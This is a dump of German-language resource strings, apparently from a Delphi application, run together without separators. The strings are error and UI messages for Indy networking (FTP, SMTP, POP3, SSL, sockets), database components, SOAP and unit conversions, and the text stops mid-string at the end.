RichEdit-ZeileFehler bei Verbinden mit SSL.Fehler bei der Aktualisierung - %sFehler bei der Analyse einer Anweisung.Fehler bei der Anforderung eines SSL-Zertifikats.Fehler bei der Auflösung der Adresse %s: %s (%d)Fehler bei der Ermittlung des Hosts %s: %s (%d)Fehler bei der Objekterzeugung. Stellen Sie sicher, daß die Microsoft Data Access Components 2.1 (oder höher) richtig installiert sindFehler bei der SQL-Auswertung: %sFehler bei der Transformation vor dem SendenFehler bei der Winsock-Initialisierung.Fehler bei der Zuordnung des Tastenkürzels zu %s. %sFehler bei einer Win32 API-FunktionFehler beim Akzeptieren der Verbindung mit SSL.Fehler beim Anlegen eines SSL-Kontexts.Fehler beim Aufruf einer Winsock2-Bibliotheksfunktion %sFehler beim Binden der Daten an den SSL-Socket..Fehler beim DateiladenFehler beim Decodieren eines im URL-Stil (%%XX) codierten Strings bei Position %dFehler beim Download von URL: %sFehler beim Einlesen einer SSL-Methode.Fehler beim Entfernen des Steuerelements aus der Andock-HierarchieFehler beim Erkennen des BotschaftentypsFehler beim Erstellen des Cursor-HandleFehler beim Erstellen des Fenster-GerätekontextsFehler beim Erstellen eines Eintrages in der SystemregistrierungFehler beim Erzeugen des Thread: %sFehler beim Erzeugen von Datei %sFehler beim Erzeugen von Variante oder sicherem ArrayFehler beim Festlegen des Pfades: "%s"Fehler beim Holen der Daten für '%s'Fehler beim Laden der zuvor gespeicherten Einstellungsdatei: %sSoll die Datei gelöscht werden?Fehler beim Laden einer Winsock2-Bibliothek (%s)Fehler beim Laden von ISAPI-Anwendung %sFehler beim Laden von MIDAS.DLLFehler beim Laden von XMLFehler beim Lesen aus SocketFehler beim Lesen von %s%s%s: %sFehler beim Lesen von Mime-Anforderungs-StreamFehler beim Lesen von SocketFehler beim Setzen der Daten für '%s'Fehler beim Setzen der Größe des StreamFehler beim Setzen von %s.CountFehler beim Speichern der Anlage.Fehler beim Speichern von DateiFehler beim Verarbeiten von Header (%s)%sFehler beim Versenden von MailFehler beim Öffnen von Port %d. Fehler: %sFehler der Windows-API. (Windows-Fehler %d [$%.8x])Fehler im Befehlsparameter! Beipiel: rcpt to:Fehler im Parameter! Beispiel: mail from:Fehler in ISAPI-AnwendungFehler in Zeile %d, Position %dFehler: Fehler: FehlerzustandFehler: Kein Programm-Code, um die Anforderung zurückzugeben!Fehler: Keine Warteschlange definiertFehlerhafter ZustandFehlerobjekte müssen das Interface IIterateIntfSupport unterstützenFeldFeld "%s" ist schreibgeschützt.Feld "%s" konnte nicht gefunden werden.Feld %s enthielt kein BildFeld %s ist vom nicht unterstützten Datentyp %sFeld %s wird ignoriert, es ist nur ein Statusfeld gestattetFeld %s wurde von einem anderen Benutzer geändertFeld '%s' hat keine DatenmengeFeld '%s' ist kein boolescher TypFeld '%s' ist nicht der korrekte Typ eines berechneten Feldes für eine Aggregierung; verwenden Sie internalcalcFeld '%s' ist nicht indiziert und kann nicht verändert werdenFeld '%s' kann kein berechnetes oder Nachschlage-Feld seinFeld '%s' kann nicht als Typ %s angesprochen werdenFeld '%s' kann nicht in Fließkommawert konvertiert werdenFeld '%s' kann nicht in Integerwert konvertiert werdenFeld '%s' kann nicht in einem Filterausdruck verwendet werdenFeld '%s' kann nicht verändert werdenFeld '%s' muss einen Wert habenFeld der Datenmenge nicht gefunden %sFeld ist kein Feld aus der Datenmenge: %sFeld nicht gefunden: %sFeldansicht nicht zulässigFeldeigenschaftenFelderFelder abfragenFelder hinzufügenFelder hinzufügen...Feldindex außerhalb des gültigen BereichsFeldname %s überschreitet %d ZeichenFeldname fehltFeldverbindungs-DesignerFensterFenster ist ungültig oder ein untergeordnetes FensterFensterhintergrundFensterrahmenFenstertextFestplattenkontingent überschritten.FettFett kursivFieldKind ungültigFileName muss angegeben werdenFilterausdruck fehlerhaft abgeschlossenFilteroptionen werden nicht unterstütztFlächeFolgende Befehle werden akzeptiert (* => nicht implementiert, + => Erweiterung).Folgende SITE-Anweisungen werden unterstützt: HELP DIRSTYLEFor&matFormat '%s' ungültig oder nicht kompatibel mit ArgumentFormat der Zwischenablage wird nicht unterstütztFormat-String zu langFormatEditFormatergebnis länger als 4096 ZeichenFormular kann nicht erstellt werden. Zur Zeit sind keine MDI-Formulare aktivFormular/Komponente '%s' nicht gefundenFortFortsetzenFrFreitagFuchsieFußFür 'GET' wurde keine URL angegebenFür Feld %s ist ein Wert erforderlichFür Feld %s wird eine gesendete Datei erwartetFür Feld '%s' wurde kein Referenztabellenname angegebenFür asynchrone ExecuteOptions wird eine Verbindungskomponente erwartetFür die Authentifizierung konnte keine geeignete Stelle kontaktiert werden.Für die Klasse %s fehlt die TypinformationFür diese Anforderung steht nicht genügend Speicher zur VerfügungFür dieses Element gibt es kein Info-FensterFür dieses Element sind keine Eigenschaftsseiten verfügbarFür eine unbenannte Komponente kann keine Methode erstellt werden.Für einen Operator oder eine Zusammenfassung fehlt ein ArgumentGallone (Flüssigkeit)Gallone (Trockenmaß)Gallone (UK)Geben Sie die Abfrage direkt einGefundenGehe in Passiv-Modus (%s).GelöschtGemeinsam genutzte Ressource kann nicht erzeugt werden. (Windows-Fehler %d)Generisches ServiceStart ist hier nicht anwendbar: Verwenden Sie spezifische Prozeduren, um die Konfigurationsparameter zu setzen.GigameterGill (Flüssigkeit)Gitter soll mehr als 256 Spalten darstellenGitter zu groß für OperationGitterindex außerhalb des zulässigen BereichsGleitkommadivision durch NullGleitkommaunterlaufGleitkommaüberlaufGliederungsindex nicht gefundenGlobale Schemaelemente dürfen keine Verweise enthaltenGradient aktiver TitelGradient inaktiver TitelGrafik:GranGrauGrauer TextGroupIndex kann nicht kleiner sein als der GroupIndex eines vorhergehenden MenüelementesGrund: %s Gruppiere Werte dieses Feldes in BereicheGröße des &Thread-Puffers:Größe(Bytes)Größenfehler - Feld %s ist zu klein für die DatenGültiger Name, kein Datensatz (überprüfen Sie das DNS-Setup).H&auptfelderHGHTTP-Version nicht unterstütztHallo %sHandbreiteHektoarHektogrammHektoliterHektometerHerstellen der VerbindungHerunterfahrenHervorgehobener HintergrundHervorgehobener TextHilfeHilfe und HinweiseHimmelblauHin&zufügen...HintergrundHinzu&fügenHinzufügenHori&zontal anordnenHorizontal anordnenHostHost ist leerHost nicht erreichbar.Host-Feld ist leerHost-Name %s wird aufgelöst.Höfliche Menschen sagen HALLOI&n Protokoll anzeigenI&nhaltIBSQL geschlossenIBSQL geöffnetICMP Receive Error = 0.IDOMNode erforderlichIMAP4 im impliziten Modus erfordert, daß der IOHandler einem TIdServerIOHandlerSSLBase entspricht.IP-AdresseIPv&4 (127.0.0.1)IPv&6 (::1)IPv6 nicht verfügbarIm Array befinden sich DoppeleinträgeIm Datenmodul wurde keine Dispatcher-Komponente gefundenIm Sicherheits-Package sind keine Beglaubigungen verfügbarIm angegebenen Bereich (%d) gibt es mehr IP-Adressen als zur Entwurfszeit angezeigt werden können.Imaginärer Anteil konnte nicht analysiert werdenIn %s kann nicht geschrieben werdenIn Datenmenge kann nicht eingefügt werden. (Keine Einfüge-Abfrage).In Filtern sind keine Aggregationsausdrücke erlaubtIn der Stringliste sind Duplikate nicht erlaubtIn der THTTPPRIO-Komponente wurde keine WSDL- oder URL-Eigenschaft gesetzt. Vor Aufruf des Web Service muss eine dieser Eigenschaften gesetzt seinIn der Transaktionskomponente sind keine Datenbanken aufgeführt.In einen zum Lesen geöffneten Ressourcen-Stream kann nicht geschrieben werdenInaktiver RahmenInaktiver TitelInaktiver TiteltextInclude-Datei %s verweist auf sich selbstIndex '%s' wurde nicht gefundenIndex existiert nicht. Index: %sIndexdateienIndexfeld fehltIndividuell...Individuelle Botschaftsinterpretation ist fehlgeschlagenIndividuelle Menüs und SymbolleistenIndy FTP-Server bereit.Indy SASLIndy SMTP-ServerIndy Telnet-ServerIndy-ClientsIndy-I/O-HandlerIndy-InterceptsIndy-MiscInfo über Internet &Direct (Indy) %s...Info über den Debugger für Web-AnwendungenInfo-HintergrundInfo-TextInfo...Informational: InformationsbotschaftenInhaltslängeInhaltslängen-Header nicht gefundenInhaltsverzeichnis konnte nicht gefunden werdenInitialisierung des Script-Debugger ist misslungen. Überprüfen Sie, ob ein Script-Debugger installiert ist.Inkompatible Konvertierungstypen [%s - %s, %s - %s]Inkompatible Konvertierungstypen [%s, %s, %s]Inkompatible Konvertierungstypen [%s, %s]Integer-Parameter erwartetIntegerüberlaufIntegrierter TypInterBase-Bibliothek gds.so.0 im Pfad nicht gefunden. Bitte installieren Sie InterBase für diese FunktionInterBase-DLL gds32.dll wurde im Pfad nicht gefundenInterbaseExpress 4.3InterceptEnabled darf nicht auf true gesetzt sein, wenn Intercept nil ist.Interface %s nicht registriertInterface (%s) ist nicht registriert - fügen Sie die Unit, die dieses Interface registriert, in Ihr Projekt einInterface (%s) kann nicht ausgelagert werden - überprüfen Sie die Interface-Deklaration - speziell die Aufrufkonventionen der Methoden!Interface ist unbrauchbar, da es nicht angehalten werden kannInterface wurde bereits angehaltenInterface wurde bereits gestartetInterner Fehler: Datentyp %s in diesem Kontext nicht erwartetInternet Direct (Indy)Invalide IPv6 Adresse. %sJahrhundertJahrtausendJanJanuarJob abbrechenJulJuliJulianisches DatumJunJuniKKalenderzeit oder -datum konnte nicht gesetzt werdenKann doppelte DataSource und LookupSource nicht benutzenKann ältere Version von TShape nicht ladenKapazität der Liste ist erschöpft (%d)Kein Argument für Format '%s'Kein Benutzer: Port-Paar wird nicht oder nicht von identifizierbarem Benutzer verwendetKein Dienst für die URL %s verfügbarKein Dispatcher eingerichtetKein Hilfemanager installiert.Kein HostKein Index für die Felder '%s' vorhandenKein InhaltKein Inhaltsverzeichnis gefundenKein Knoten zur Meldungsverarbeitung festgelegtKein Konverter (Nativ zu Meldung) eingerichtetKein MCI-Gerät geöffnetKein MX Eintrag für die Domäne %s gefundenKein OnRcptTo EreignisKein Parametertyp für Parameter '%s'Kein ProviderKein Provider verfügbarKein Server verfügbarKein Tabellenname zugewiesenKein WSDL-Dokument zugeordnet zu WSDLViewKein Zugriff auf Feld "%s".Kein Zugriff auf temporäre DateiKein Zugriff auf temporäre Datei: prüfe TMPDIR-EinstellungKein aktives DokumentKein passender ADO-Datentyp für %sKeine Adresse angegebenKeine Aktualisierung möglich. (Keine Aktualisierungs-Abfrage).Keine Daten erlaubtKeine Daten für den Lesezugriff.Keine DatenmengenverknüpfungKeine Datensätze betroffenKeine Hilfe gefunden für "%s"Keine Klasse registriert für aufrufbare Schnittstelle %sKeine Klasse zum Implementieren der Schnittstelle %s registriertKeine Konvertierung nach TBcd: String enthält mehr als 64 Ziffern: %sKeine Route zum Host.Keine SQL-Anweisung verfügbarKeine Schnittstelle registriert für die Behandlung der URL %sKeine Typübereinstimmung im Parameter %sKeine automatisch aktivierten DatenmoduleKeine kontextsensitive Hilfe installiertKeine kontextsensitive Hilfe installiert.Keine registrierte Schnittstelle für URL '%s'Keine registrierte Schnittstelle für die SOAP-Aktion '%s'Keine themenbasierte Hilfe installiert.Keine Änderung erlaubt (Daten können nur gelesen werden)Keine Übereinstimmung in Parameter %d für Methode %sKeinen passenden Kylix-Typ gefunden für: URI = %s, Name = %s von Node %sKelvinKernel-BotschaftenKilogrammKiloliterKilometerKlasse %s implementiert Schnittstelle GUID %s nichtKlasse %s kann bei diesem Modul nicht angewendet werdenKlasse %s nicht gefundenKlasse mit der Bezeichnung %s existiert bereitsKlasse nicht registriertKlassen, die Skalartypen repräsentieren, müssen von TRemotableXS abgeleitet worden sein; %s ist es nichtKlasterKlasterfußKnoten "%s" nicht gefundenKnoten ist schreibgeschütztKnoten kann nicht null seinKnoten nicht gefundenKomponente %s nicht gefundenKomponente %s setzt voraus, dass der Client richtig funktioniert.Komponente %s setzt voraus, dass der Server richtig funktioniert.Komponente ist in asynchronen Modus, aber OnMessageArrive wurde nicht eingehängt (hooked)Komponente ist in synchronen Modus, aber OnMessageReceive wurde nicht eingehängt (hooked)Komponente mit der Bezeichnung %s existiert bereitsKomponente unterstützt das Scripting nicht. Klasse: %0:s, Name: %1:sKomponentenname '%s' überschreitet 64 ZeichenKompressionsfehlerKompressor kann nicht initialisiert werdenKonfigurationsdatei %s nicht gefundenKonfliktKonstante außerhalb des zulässigen WertebereichsKonvertierung des angegebenen Typs kann nicht durchgeführt werdenKonvertierung in den angegebenen Typ kann nicht durchgeführt werdenKonvertierungsfamilie (%s) bereits registriertKonvertierungstyp (%s) bereits registriert in %sKopierenKorrektKritisch: Kritischer ZustandKubik-YardKubikdekameterKubikdezimeterKubikfußKubikhektometerKubikkilometerKubikmeilenKubikmeterKubikmillimeterKubikzentimeterKubikzollKursivL&ogin-AbfrageLayoutLeere Abfrage.Leere SQL-Anweisung.Leerer String kann nicht in TBcd-Wert konvertiert werdenLeeres DokumentLeertasteLeftLegacyLegen Sie die Eigenschaft GroupRef für das cmGroupRef-Inhaltsmodell festLeinwand/Bild erlaubt kein ZeichnenLetzte AktivitätLetzte Antwortzeit:Letzter DatensatzLichtjahrLimitierung der Anzahl der Zusammanfassungen, die gleichzeitig geladen werden könnenLimoneLinieLinkLinkageLinks ausrichten|Text linksbündig ausrichtenListe gestattet keine doppelten Einträge ($0%x)Liste ist während eines aktiven ForEach gesperrtListenindex überschreitet das Maximum (%d)Listet alle PortTypes, die von diesem Service publiziert werdenLiterLizenz-Information für %s ist ungültigLizenz-Information für %s nicht gefunden. Sie können dieses Steuerelement im Entwurfsmodus nicht verwendenLog(%d)LogDetailLogin Sie sich zuerst einLogin-Seite ist nicht definiertLokale Typdeklarationen dürfen keinen Namen besitzen. Element: %sLokale Verwendung 0 (local0)Lokale Verwendung 1 (local1)Lokale Verwendung 2 (local2)Lokale Verwendung 3 (local3)Lokale Verwendung 4 (local4)Lokale Verwendung 5 (local5)Lokale Verwendung 6 (local6)Lokale Verwendung 7 (local7)Lokaler Benutzer unbekannt. Keine Weiterleitungsadresse vorhandenLokaler Benutzer unbekannt. Nachricht wird weitergeleitetLokaler FehlerLookup-Information für Feld '%s' ist unvollständigLookupSource muss mit TTable-Komponente verbunden werdenLänderkennungLänge benötigtLöschen nicht gestattetLöschen|Auswahl löschenMD ist eine veraltete Anweisung. Verwenden Sie MX.MFist eine veraltete Anweisung. Verwenden Sie MX.MMMovieMS Sans SerifMa&x. Ereignisse:Mail &senden...Mail-SystemMailA ist eine veraltete Anweisung. Verwenden Sie MX.MainUpdateActionMasseMasterSource-Tabelle kann nicht geöffnet werdenMax. Antwortzeit:Max. Anzahl an Verbindungen überschritten. Versuchen Sie es später.Max. Zeilenlänge überschritten.Maximale Gliederungstiefe überschrittenMaximale Sitzungsanzahl überschrittenMaximale Zahl an allozierbare Zeilen überschrittenMaximumMaximum von %sMaße/ZusammenfassungenMaßeinheiten a&nzeigenMegameterMehrere Dateien bei %s nicht zulässigMehrere Rumpfelemente werden nicht unterstütztMehrere Werte bei %s nicht zulässigMehrfachauswahl muss für diese Funktion aktiviert seinMeileMeldung nicht mehr anzeigenMengengröße überschritten.Menü '%s' wird bereits von einem anderen Formular benutztMenü zweimal eingefügtMenüindex außerhalb des zulässigen BereichsMenütextMessketteMetadatei ist ungültigMetadateienMetadaten können nicht geöffnet werdenMeterMethode %s aus Klasse %s nicht gefundenMethode '%s' wird vom OLE-Objekt nicht unterstütztMethode hat kein RTTIMethode mit Namen '%s' wird von Interface '%s' nicht unterstütztMethode nicht erlaubt in TSoapDataListMethodendefinition für %s hat mehr als %d ParameterMetrische TonneMicrosoft MSXML ist nicht installiertMikrogrammMikromikronMilligrammMilliliterMillimeterMillimikronMillisekundeMimetype ist leerMin. Antwortzeit:Minimum von %sMinuteMit diesem Kontext ist kein LSA-Modus-Kontext verknüpft.MittelgrauMittelwert verwendet Summe und AnzahlMittelwert von %sMittlere Antwortzeit:MittwochModifikation von %s nicht zulässigModifiziertes julianisches DatumModul-Factory für Web-Anwendung bereits registriert.Modus ist gesetzt auf %s.Modus ist nicht initialisiertModus wurde nicht implementiert.MorgenMorgen/FußMorgen/ZollMultiref-Output für Objekte muss aktviert werden bei der Serialisierung eines Objektdiagramms - (%s)MyBase-Tabelle öffnenMärMärzNAN kann nicht zu TBcd-Wert konvertiert werdenNNTP im impliziten Modus erfordert, daß der IOHandler einem TIdSSLIOHandlerSocketBase entspricht.NOOPNTP-SubsystemNULL ist nur mit '=' und '<>' erlaubtNach &obenNach &untenNach Schließen des Socket kann weder gesendet noch empfangen werden.Nach Wechsel der Verbindung kann keine Abfrage durchgeführt werdenNachrichten-Parts können nicht bei Nachrichten mit gesetztem ContentTransferEncoding benutzt werden.Nachschlage-DefinitionName der &Attributmenge:Name der AttributmengeName der Sitzung fehltName der Verbindung fehltName des Objekttyps als Parameterwert erforderlichName für DLL/Gemeinsame Bibliothek ist nicht gesetztName für Verweiselement nicht zulässigNamen und &Werte anzeigenNamen, Wer&te und Summen anzeigenNamespace-URINanogrammNe&tzwerk...Netz hat die Verbindung verloren oder zurückgesetzt.NetzwerknachrichtensystemNeuNeue hinzufügenNeues FeldNeues NachschlagefeldNicht akzeptabelNicht angemeldet.Nicht ausreichnede Daten für InhaltslängeNicht authentifiziertNicht autorisiertNicht begrenzte String-KonstanteNicht begrenzter FeldnameNicht behebbare Fehler: FORMERR, REFUSED, NOTIMP.Nicht blockierende Zugriffe werden unter Linux nicht unterstützt.Nicht erkannte Inhalts-Transfer-Codierung.Nicht erkannter IMAP4-Response-Header.Nicht erkannter POP3-Response-Header: "%s"Nicht erkannter UUE-Codierungsschema.Nicht genügend Daten im Puffer.Nicht genügend Timer verfügbarNicht gestattet nach einem CCC.Nicht gestattet.Nicht geändertNicht im Bearbeitungs-ModusNicht im Cached-Update-ModusNicht mit Server verbunden.Nicht unterstütztNicht unterstützte Aufrufkonvention: %sNicht unterstützte ISAPI-Anwendungsversion: %.8xNicht unterstützte Zeichencodierung "%s", versuchen Sie LoadFromFileNicht unterstützter Datentyp: %dNicht unterstützter Datentyp: %sNicht unterstützter FeldtypNicht unterstützter Hash-Algorithmus. Die Implementierung unterstützt nur MD5-Codierung.Nicht unterstützter MedientypNicht unterstützter Objekttyp. Sie können nur einen der folgenden Typen oder deren Nachkommen zuweisen: TStrings, TStream.Nicht unterstützter SOAP-Codierungsstil %sNicht unterstützter Transfer-Modus: "%s"Nicht unterstützter Variant-Typ %dNicht unterstützter Variant-Typ: %sNicht unterstütztes Autorisierungs-Schema.Nicht unterstütztes Merkmal.Nicht verfügbarNicht zugewiesener Variant-WertNicht übereinstimmende Parameter bei RegisterChildNodesNicht-Echo-Antwort empfangenNicht-autoritative Antwort (Versuchen Sie es noch einmal oder überprüfen Sie das DNS-Setup).Nicht-autoritative InformationNickNormalNotfall: System ist unbrauchbarNotiert.NovNu&r LaufzeitanzeigeNummerischer Parameter (relative oder UID-Nachrichtennummer) ist invalid; Er darf nicht alphanumerische Zeichen enthalten.Nummerischer Parameter (relative oder UID-Nachrichtennummer) ist invalid; Er darf nicht eine leere Zeichenkette entsprechen.Nummerischer Parameter (relative oder UID-Nachrichtennummer) ist invalid; Er muß 1 oder höher sein.Nur Zwischensummen anzeigenNur ein Datenmodul pro AnwendungNur ein FaultCode-Element zulässigNur ein FaultString-Element zulässigNur ein WebDispatcher pro Formular/DatenmodulOKOLE-Fehler %.8xObjectView muss bei Tabellen mit Objektfeldern True seinObjekt mit Index %d konnte nicht gelesen werdenObjekt mit Index %d konnte nicht gesetzt werdenObjekt unterstützt das Scripting nicht. Klasse: %0:sObjekttyp nicht unterstützt.Offener Socket kann nicht überwacht werdenOhneOkOktOktoberOlivgrünOnCustomFTPProxy wird benötigt, wurde aber nicht gesetztOnExecute nicht zugewiesen.Operation abgebrochenOperation auf ausgewähltem Drucker nicht verfügbarOperation bei geschlossener Datenbank nicht ausführbarOperation bei geschlossener Datenmenge nicht ausführbarOperation bei geöffneter Datenbank nicht ausführbarOperation bei geöffneter Datenmenge nicht ausführbarOperation bei leerer Datenmenge nicht ausführbarOperation für sortierte Listen nicht zulässigOperation in einem DBCtrlGrid nicht erlaubtOperation kann nicht durchgeführt werden -- DB ist im Moment geöffnet.Operation kann nicht durchgeführt werden -- DB ist nicht offen.Operation kann nicht durchgeführt werden -- Ein Service ist verbunden.Operation kann nicht durchgeführt werden -- Es ist kein Service verbunden.Operation mit aktiven Aggregaten nicht zulässigOperation mit einem leeren OLE-Container nicht zulässigOperation wird nicht unterstützt. Komponente %s unterstützt nicht IGetWebComponentListOperation zur Trennung der Verbindung nicht erlaubt.Option wurde nicht erkannt.Option zum Setzen des Typs Native auf NULL nicht gesetztOptionen für Designer DatenOptionen für RasterdimensionOrtszeit ist %sOtherNickP&ort überwachen:PASVBoundPortMax muss größer als PASVBoundPortMax sein.PASVBoundPortMin muss keliner als PASVBoundPortMax sein.PBSZ Befehl ausgeführt. Größe des Schutzpuffer wurde auf 0 gesetzt.POP3 im impliziten Modus erfordert, daß der IOHandler einem TIdServerIOHandlerSSL entspricht.POP3-Proxy bereitPOP3-Proxy wird beendetPROT Befehl akeptiert. Eine Klartext-Datenverbindung wird benutztPROT Befehl akeptiert. Eine private Datenverbindung wird benutztPackage %s kann nicht geladen werden. %sPackage '%s kann nicht geladen werden.' Es enthält die Unit '%s,'die auch im Package '%s' enthalten istPackage-Größe zu hochPackages werden vom '%s'-Server nicht unterstütztParameter %d erforderlich für Methode %sParameter %s der Methode %s der Schnittstelle %s hat kein RTTIParameter %s wird nicht unterstütztParameter '%s' wurde bei Ausgabe abgeschnittenParameter '%s': Daten, die größer sind als %d Byte, können nicht gespeichert werdenParameter erwartetParameter hinzufügen...Parametername erwartetParentConnection ist nicht zugewiesenPass&wort:PasswortPasswort eingebenPasswort fehltPasswort muss angegeben werdenPasswort: Pensionierte/ehemalige MitarbeiterPermanent verschobenPfundPinte (Flüssigkeit)Pinte (Trockenmaß)Pinte (UK)Port-Beriech (%d - %d) kann nicht eingebunden werdenPort-TypPort:Pos1Pottle (UK)Pr&otokollPrimärindizes können nicht erzeugt werden, da sie automatisch erzeugt werdenPrivilegierte AnweisungProjekt-Co-KoordinatorProtokollalarmProtokolldatei für Ablaufverfolgung öffnenProtokolldateien (*.log)Protokollfeld ist leerProtokollumschaltungProtokollüberprüfungProxy verwendenProzedur %s nicht gefundenPuffer nicht gesetzt.Pufferfehler.PunktPurpurPutObject auf undefiniertes ElementQuadrat-YardQuadratdekameterQuadratdezimeterQuadratfußQuadrathektometerQuadratkilometerQuadratmeilenQuadratmeterQuadratmillimeterQuadratruteQuadratzentimeterQuadratzollQuart (Flüssigkeit)Quart (Trockenmaß)Quell- und Zieltabellen sind inkompatibelQueueEvents kann nicht aus einem OnEventAlert-Behandlungsroutine heraus aufgerufen werdenRRCode NO FehlerRESPONSERangordnungRaw Receive-Fehler = 0.ReaumurRechtsRechts ausrichten|Text rechtsbündig ausrichtenRecordset ist nicht geöffnetRegister-Element konnte nicht geleert werdenRegisterseite '%s' mit Index %d konnte nicht gesetzt werdenRegisterseite mit Index %d konnte nicht gelesen werdenRegisterseite mit Index %d konnte nicht gelöscht werdenRegistrierungsdatei '%s' für Treiber/Verbindung nicht gefundenRekursion beim Durchführen eines VarDataCastToRekursion beim Durchführen eines VarDataClearRekursion beim Durchführen eines VarDataCopyRekursion beim Durchführen eines VarDataCopyNoIndRekursion beim Durchführen eines VarDataInitRemote-Methodenaufruf: nicht unterstützte Aufrufkonvention %s für Methode %s in Schnittstelle %sRessource %s hat die falsche KlasseRotRückgängig|Letzte Aktuion rückgängig machenRücksetzenS&chließenS&chlüssel:S&palten/Zeilen mit wenig Werten anzeigenS&palten/Zeilen mit wenig Werten nicht anzeigenSASL-Kontrollmechanismen werden zum Einlogen benötigt!!SEOFReachedSMTP TLS im impliziten Modus erfordert, daß der IOHandler einem TIdServerIOHandlerSSL entspricht.SOAP-Antwortpaket: Ergebniselement erwartet, "%s" gefundenSOAP-Header %s mit Attribut 'mustUnderstand' true wurde nicht behandeltSPB-Konstante nicht unterstütztSPB-Konstante unbekanntSQL bearbeitenSQL nicht unterstützt: %sSQL-&Builder...SQL-Fehler: Fehlerzuweisung gescheitertSQL-TimeStamp-String konnte nicht analysiert werdenSSL steht auf diesem Server nicht zur Verfügung.SSL-Bibliotheksinterner Fehler.SSL-Status: "%s"SSL.-Bibliothek konnte nicht geladen werden.SSPI %s gibt Fehler #%d(0x%x) zurück: %sSSPI-Interface hat sich nicht richtig initialisiertSaSamstagScannerSchalterflächeSchalterschattenSchaltertextScheffel (Trockenmaß)Scheffel (UK)SchließenSchlüsselSchlüssel darf keine Gleichheitszeichen ("=") enthaltenSchlüssel mit der Bezeichnung "%s" existiert bereitsSchnittstelle %s hat kein RTTISchnittstelle hat kein RTTI, UUID = %sSchnittstelle nicht registriert, UUID = %sSchreibenSchrittSchwarzSchwerer Fehler im Cache: Code: %dScript-Engine kann nicht erzeugt werden: %s. Fehler: %xScript-Engine kann nicht initialisiert werdenScript-Engine nicht gefunden: %s.Script-FehlerScript-Objekt erwartetSeemeileSeite %s unterstützt keine InklusionSeite e&inrichten...SeitenSekundeSelbstdefinierte FarbenSendenSepSeparatorSeptemberSequencerServer antwortet nicht.Server hat nicht geantwortet.Server s&toppenServer unterstützt kein APOP (kein Zeitstempel)Server-Name fehltServerInfoService "%s" konnte nicht deinstalliert werden; Fehler: "%s"Service "%s" konnte nicht installiert werden; Fehler: "%s"Service Info-SeiteService bereit für neuen Benutzer.Service erfolgreich deinstalliertService erfolgreich installiertService fehlgeschlagen bei %s:%sService fehlgeschlagen in selbstdef. Meldung (%d): %sService nicht verfügbar, Steuerverbindung wird geschlossen.Service schließt die Steuerverbindung.SetCipher fehlgeschlagen.Sicherheits-/Autorisierungsbotschaften (1)Sicherheits-/Autorisierungsbotschaften (2)Sie dürfen diesen Eintrag nicht löschenSie können %s nicht setzen, während die HL7-Komponente arbeitetSie können keine Botschaft schicken, während Sie auf eine Antwort warten.Sie müssen diese Komponenten vor ihrer Verwendung an einen anderen I/O-Handler bindenSie müssen einen TIdRR_SOA-Objekt mit Seriennummer und Name zur Verfügung stellen, um mit der Anweisung IXFR fortzufahren. %dSie müssen einen gültigen Feldtypen auswählenSie müssen mindestens ein Schlüsselfeld und ein Updatefeld auswählenSiehe WeitereSilberSitzungsstatus kann nicht geändert werden, während der Server aktiv ist..SoSocket ist bereits geöffnetSocket ist nicht verbunden.Socket kann nicht zugewiesen werden.Socket konnte nicht gebunden werden. Adresse und Port werden bereits benutzt.Socket muss sich im Blocking-Modus befindenSocket-Fehler # %d %sSocket-Operation auf Nicht-Socket.Sockettyp wird nicht unterstützt.Socks-Server hat nicht geantwortet.SonntagSourceDirectory nicht gesetztSpalte kann nicht auf null gesetzt werden (%s)Spalten hinzufügen...Spaltenindex außerhalb des gültigen Bereichs: %dSpaltentypen stimmen nicht überein. (Von Index: %d; Zu Index: %d)SpeicherkontrolleSpeichermangel bei Varinat-OperationSpeichern &unter...Speichern unter|Aktive Datei unter einem neuen Namen speichernSt&atistikStack-ÜberlaufStammzertifikat konnte nicht geladen werden.StandardStandard-&URL:Standard-AttributStandard-URL:Standardabweichung von %sStart fehlgeschlagen: %sStarte eine neue Abfrage unter Benutzung einer Tabelle der DatenbankStat StatusBar kann nicht mehr als 64 Bedienfelder (Panels) habenSterSteuerung wenn die Information für dieses Feld geladen istSteuerung, ob der Decision Cube zur Laufzeit geladen wirdSteuerungsdatei speichern in %sStil des Listenfeldes (%s) muss virtuell sein, damit Count gesetzt werden kannStonesStored Procedure wurde kein Name zugewiesenStored Procedures werden vom '%s'-Server nicht unterstütztStream-LesefehlerStream-SchreibfehlerStrg+C gedrücktString erwartetString-Liste ladenString-Liste speichernString-Listen-EditorString-Parameter erwartetStruktur gesetzt auf %s.StundeSu&chen...Suche über SchlüsselwortSuchen|Angegebenen Text suchenSummeSumme von %sSy&mbolleistenoptionenSymboleSymbolleiste zurücksetzenSyntaxfehlerSyntaxfehler (Parameter sind hier nicht erlaubt)Syntaxfehler - Anweisung unverständlich: %sSyntaxfehler in den Parameter oder ArgumenteSyntaxfehler, Anweisung nicht erkanntSystem-DaemoneSystemfehler. Code: %d. %sSystemindex kann nicht entfernt werdenSystemressourcen erschöpft.T&abelle zu SQL hinzufügenTAggregateStream-Fehler: Keine interne StreamsTIdIRC 1.061 von Steve WilliamsTIdMessagePart kann nicht erzeugt werden. Verwenden Sie abgeleitete Klassen. TIdSNPP-Anweisung Mess unterstützt nur einzeilige Botschaften.TLS muß benutzt werdenTPB-Konstante (%d) ist unbekannt.TPB-Konstante (%s) ist unbekannt.TPB-Konstante (isc_tpb_%s) ist nicht unterstützt.TTL abgelaufen.Tabelle/Prozedur wurde nicht gefundenTagTask kann nicht ausgeführt werden, während der Server aktiv ist.Tasse (Flüssigkeit)Taste "%s" nicht gefundenTaste zum Verlassen gedrücktTastenkürzel ist einem anderen Fenster zugeordnetTastenkürzel ist ungültigTeelöffel (Flüssigkeit)TemperaturTemporär verschobenText &umbrechenText nicht gefunden: "%s"Text überschreitet Memo-KapazitätTextdatei (*.txt)|*.txt|Alle Dateien (*)|*Textdatei (*.txt)|*.txt|Alle Dateien (*.*)|*.*Textdateien (*.txt)|*.txt|Alle Dateien (*.*)|*.*Texteditor für Extra-HeaderThreadThread-Fehler: %s (%d)Thread-Klasse wurde nicht angegeben.Thread-PufferungTimedOutTiteltextTonneTonne (UK)Transaktion ist aktiv.Transaktion ist nicht aktiv.Transaktion ist nicht zugewiesen.Transfer abgebrochenTransfer abgeschlossenTransfer können nicht im Aktiv-Modus erfolgen, solange NAT fastracking benutzt wird.TransformNode muss mit einem Dokumentknoten (nicht einem Dokumentelement) für die Quelle und das Stylesheet aufgerufen werden.Transformation fehlgeschlagenTransformationFile muss angegeben werdenTransformationsdatei öffnenTransparentes Proxy kann 